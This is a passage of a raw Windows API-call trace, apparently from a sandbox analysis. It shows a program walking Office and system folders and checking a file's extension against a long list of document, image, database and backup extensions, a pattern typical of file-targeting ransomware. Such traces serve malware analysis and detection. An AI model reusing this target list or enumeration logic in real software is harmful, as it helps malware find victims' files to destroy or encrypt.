lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0064.695] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0064.695] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.695] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1 [0064.695] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.696] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1 [0064.696] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.696] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1 [0064.696] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dfba60 | out: hHeap=0x490000) returned 1 [0064.696] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0064.696] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.696] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0064.696] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.697] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0 [0064.697] FindClose (in: hFindFile=0x583048 | out: hFindFile=0x583048) returned 1 [0064.697] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0064.698] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e90b7c0, ftCreationTime.dwHighDateTime=0x1d59819, ftLastAccessTime.dwLowDateTime=0xc1b1490, ftLastAccessTime.dwHighDateTime=0x1d5b683, ftLastWriteTime.dwLowDateTime=0xc1b1490, ftLastWriteTime.dwHighDateTime=0x1d5b683, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mxslipstream.exe", cAlternateFileName="MXSLIP~1.EXE")) returned 1 [0064.698] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0064.698] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0064.699] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.699] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0064.699] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.699] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0064.699] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.699] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1 [0064.891] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.891] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0064.891] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.891] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0064.893] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0064.893] lstrlenW (lpString="sqloledb.rll.mui") returned 16 [0064.893] lstrlenW (lpString=".1cd") returned 4 [0064.893] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.893] lstrlenW (lpString=".3ds") returned 4 [0064.893] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0064.893] lstrlenW (lpString=".3fr") returned 4 [0064.893] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0064.893] lstrlenW (lpString=".3g2") returned 4 [0064.893] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0064.893] lstrlenW (lpString=".3gp") returned 4 [0064.893] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0064.893] lstrlenW (lpString=".7z") returned 3 [0064.893] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.893] lstrlenW (lpString=".accda") returned 6 [0064.893] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1 [0064.893] lstrlenW (lpString=".accdb") returned 6 [0064.893] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1 [0064.894] lstrlenW (lpString=".accdc") returned 6 [0064.894] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1 [0064.894] lstrlenW (lpString=".accde") returned 6 [0064.894] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1 [0064.894] lstrlenW (lpString=".accdt") returned 6 [0064.894] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1 [0064.894] lstrlenW (lpString=".accdw") returned 6 [0064.894] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1 [0064.894] lstrlenW (lpString=".adb") returned 4 [0064.894] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0064.894] lstrlenW (lpString=".adp") returned 4 [0064.894] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0064.894] lstrlenW (lpString=".ai") returned 3 [0064.894] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0064.894] lstrlenW (lpString=".ai3") returned 4 [0064.894] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0064.894] lstrlenW (lpString=".ai4") returned 4 [0064.894] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0064.894] lstrlenW (lpString=".ai5") returned 4 [0064.894] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0064.894] lstrlenW (lpString=".ai6") returned 4 [0064.894] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0064.894] lstrlenW (lpString=".ai7") returned 4 [0064.894] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0064.894] lstrlenW (lpString=".ai8") returned 4 [0064.894] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0064.894] lstrlenW (lpString=".anim") returned 5 [0064.894] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1 [0064.894] lstrlenW (lpString=".arw") returned 4 [0064.894] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0064.894] lstrlenW (lpString=".as") returned 3 [0064.894] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0064.894] lstrlenW (lpString=".asa") returned 4 [0064.894] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0064.894] lstrlenW (lpString=".asc") returned 4 [0064.894] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0064.894] lstrlenW (lpString=".ascx") returned 5 [0064.895] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1 [0064.895] lstrlenW (lpString=".asm") returned 4 [0064.895] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0064.895] lstrlenW (lpString=".asmx") returned 5 [0064.895] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1 [0064.895] lstrlenW (lpString=".asp") returned 4 [0064.895] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0064.895] lstrlenW (lpString=".aspx") returned 5 [0064.895] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1 [0064.895] lstrlenW (lpString=".asr") returned 4 [0064.895] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0064.895] lstrlenW (lpString=".asx") returned 4 [0064.895] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0064.895] lstrlenW (lpString=".avi") returned 4 [0064.895] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0064.895] lstrlenW (lpString=".avs") returned 4 [0064.895] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0064.895] lstrlenW (lpString=".backup") returned 7 [0064.895] lstrcmpiW (lpString1=".backup", lpString2="rll.mui") returned -1 [0064.895] lstrlenW (lpString=".bak") returned 4 [0064.895] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0064.895] lstrlenW (lpString=".bay") returned 4 [0064.895] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0064.895] lstrlenW (lpString=".bd") returned 3 [0064.895] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0064.895] lstrlenW (lpString=".bin") returned 4 [0064.895] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0064.895] lstrlenW (lpString=".bmp") returned 4 [0064.895] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0064.895] lstrlenW (lpString=".bz2") returned 4 [0064.895] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.895] lstrlenW (lpString=".c") returned 2 [0064.895] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0064.895] lstrlenW (lpString=".cdr") returned 4 [0064.895] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0064.895] lstrlenW (lpString=".cer") returned 4 [0064.896] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0064.896] lstrlenW (lpString=".cf") returned 3 [0064.896] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0064.896] lstrlenW (lpString=".cfc") returned 4 [0064.896] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0064.896] lstrlenW (lpString=".cfm") returned 4 [0064.896] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0064.896] lstrlenW (lpString=".cfml") returned 5 [0064.896] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1 [0064.896] lstrlenW (lpString=".cfu") returned 4 [0064.896] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0064.896] lstrlenW (lpString=".chm") returned 4 [0064.896] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0064.896] lstrlenW (lpString=".cin") returned 4 [0064.896] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0064.896] lstrlenW (lpString=".class") returned 6 [0064.896] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1 [0064.896] lstrlenW (lpString=".clx") returned 4 [0064.896] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0064.896] lstrlenW (lpString=".config") returned 7 [0064.896] lstrcmpiW (lpString1=".config", lpString2="rll.mui") returned -1 [0064.896] lstrlenW (lpString=".cpp") returned 4 [0064.896] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0064.896] lstrlenW (lpString=".cr2") returned 4 [0064.896] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0064.896] lstrlenW (lpString=".crt") returned 4 [0064.896] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0064.896] lstrlenW (lpString=".crw") returned 4 [0064.896] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0064.896] lstrlenW (lpString=".cs") returned 3 [0064.896] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0064.896] lstrlenW (lpString=".css") returned 4 [0064.896] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0064.896] lstrlenW (lpString=".csv") returned 4 [0064.896] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0064.896] lstrlenW (lpString=".cub") returned 4 [0064.896] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0064.896] lstrlenW (lpString=".dae") returned 4 [0064.897] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0064.897] lstrlenW (lpString=".dat") returned 4 [0064.897] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0064.897] lstrlenW (lpString=".db") returned 3 [0064.897] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0064.897] lstrlenW (lpString=".dbf") returned 4 [0064.897] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.897] lstrlenW (lpString=".dbx") returned 4 [0064.897] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0064.897] lstrlenW (lpString=".dc3") returned 4 [0064.897] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0064.897] lstrlenW (lpString=".dcm") returned 4 [0064.897] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0064.897] lstrlenW (lpString=".dcr") returned 4 [0064.897] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0064.897] lstrlenW (lpString=".der") returned 4 [0064.897] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0064.897] lstrlenW (lpString=".dib") returned 4 [0064.897] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0064.897] lstrlenW (lpString=".dic") returned 4 [0064.897] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0064.897] lstrlenW (lpString=".dif") returned 4 [0064.897] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0064.897] lstrlenW (lpString=".divx") returned 5 [0064.897] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1 [0064.897] lstrlenW (lpString=".djvu") returned 5 [0064.897] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1 [0064.897] lstrlenW (lpString=".dng") returned 4 [0064.897] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0064.897] lstrlenW (lpString=".doc") returned 4 [0064.897] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.897] lstrlenW (lpString=".docm") returned 5 [0064.897] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1 [0064.897] lstrlenW (lpString=".docx") returned 5 [0064.897] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.897] lstrlenW (lpString=".dot") returned 4 [0064.897] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0064.898] lstrlenW (lpString=".dotm") returned 5 [0064.898] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1 [0064.898] lstrlenW (lpString=".dotx") returned 5 [0064.898] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1 [0064.898] lstrlenW (lpString=".dpx") returned 4 [0064.898] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0064.898] lstrlenW (lpString=".dqy") returned 4 [0064.898] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0064.898] lstrlenW (lpString=".dsn") returned 4 [0064.898] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0064.898] lstrlenW (lpString=".dt") returned 3 [0064.898] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0064.898] lstrlenW (lpString=".dtd") returned 4 [0064.898] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0064.898] lstrlenW (lpString=".dwg") returned 4 [0064.898] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0064.898] lstrlenW (lpString=".dwt") returned 4 [0064.898] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0064.898] lstrlenW (lpString=".dx") returned 3 [0064.898] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0064.898] lstrlenW (lpString=".dxf") returned 4 [0064.898] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0064.898] lstrlenW (lpString=".edml") returned 5 [0064.898] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1 [0064.898] lstrlenW (lpString=".efd") returned 4 [0064.898] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0064.898] lstrlenW (lpString=".elf") returned 4 [0064.898] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0064.898] lstrlenW (lpString=".emf") returned 4 [0064.898] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0064.898] lstrlenW (lpString=".emz") returned 4 [0064.898] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0064.898] lstrlenW (lpString=".epf") returned 4 [0064.898] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0064.898] lstrlenW (lpString=".eps") returned 4 [0064.898] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0064.898] lstrlenW (lpString=".epsf") returned 5 [0064.899] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1 [0064.899] lstrlenW (lpString=".epsp") returned 5 [0064.899] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1 [0064.899] lstrlenW (lpString=".erf") returned 4 [0064.899] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0064.899] lstrlenW (lpString=".exr") returned 4 [0064.899] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0064.899] lstrlenW (lpString=".f4v") returned 4 [0064.899] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0064.899] lstrlenW (lpString=".fido") returned 5 [0064.899] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1 [0064.899] lstrlenW (lpString=".flm") returned 4 [0064.899] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0064.899] lstrlenW (lpString=".flv") returned 4 [0064.899] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0064.899] lstrlenW (lpString=".frm") returned 4 [0064.899] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0064.899] lstrlenW (lpString=".fxg") returned 4 [0064.899] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0064.899] lstrlenW (lpString=".geo") returned 4 [0064.899] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0064.899] lstrlenW (lpString=".gif") returned 4 [0064.899] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0064.899] lstrlenW (lpString=".grs") returned 4 [0064.899] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0064.899] lstrlenW (lpString=".gz") returned 3 [0064.899] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0064.899] lstrlenW (lpString=".h") returned 2 [0064.899] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0064.899] lstrlenW (lpString=".hdr") returned 4 [0064.899] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0064.899] lstrlenW (lpString=".hpp") returned 4 [0064.899] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0064.899] lstrlenW (lpString=".hta") returned 4 [0064.899] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0064.899] lstrlenW (lpString=".htc") returned 4 [0064.900] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0064.900] lstrlenW (lpString=".htm") returned 4 [0064.900] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0064.900] lstrlenW (lpString=".html") returned 5 [0064.900] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1 [0064.900] lstrlenW (lpString=".icb") returned 4 [0064.900] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0064.900] lstrlenW (lpString=".ics") returned 4 [0064.900] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0064.900] lstrlenW (lpString=".iff") returned 4 [0064.900] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0064.900] lstrlenW (lpString=".inc") returned 4 [0064.900] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0064.900] lstrlenW (lpString=".indd") returned 5 [0064.900] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1 [0064.900] lstrlenW (lpString=".ini") returned 4 [0064.900] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0064.900] lstrlenW (lpString=".iqy") returned 4 [0064.900] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0064.900] lstrlenW (lpString=".j2c") returned 4 [0064.900] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0064.900] lstrlenW (lpString=".j2k") returned 4 [0064.900] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0064.900] lstrlenW (lpString=".java") returned 5 [0064.900] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1 [0064.900] lstrlenW (lpString=".jp2") returned 4 [0064.900] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0064.900] lstrlenW (lpString=".jpc") returned 4 [0064.900] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0064.900] lstrlenW (lpString=".jpe") returned 4 [0064.900] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0064.900] lstrlenW (lpString=".jpeg") returned 5 [0064.900] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1 [0064.900] lstrlenW (lpString=".jpf") returned 4 [0064.900] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0064.900] lstrlenW (lpString=".jpg") returned 4 [0064.900] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.901] lstrlenW (lpString=".jpx") returned 4 [0064.901] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0064.901] lstrlenW (lpString=".js") returned 3 [0064.901] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0064.901] lstrlenW (lpString=".jsf") returned 4 [0064.901] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0064.901] lstrlenW (lpString=".json") returned 5 [0064.901] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1 [0064.901] lstrlenW (lpString=".jsp") returned 4 [0064.901] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0064.901] lstrlenW (lpString=".kdc") returned 4 [0064.901] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 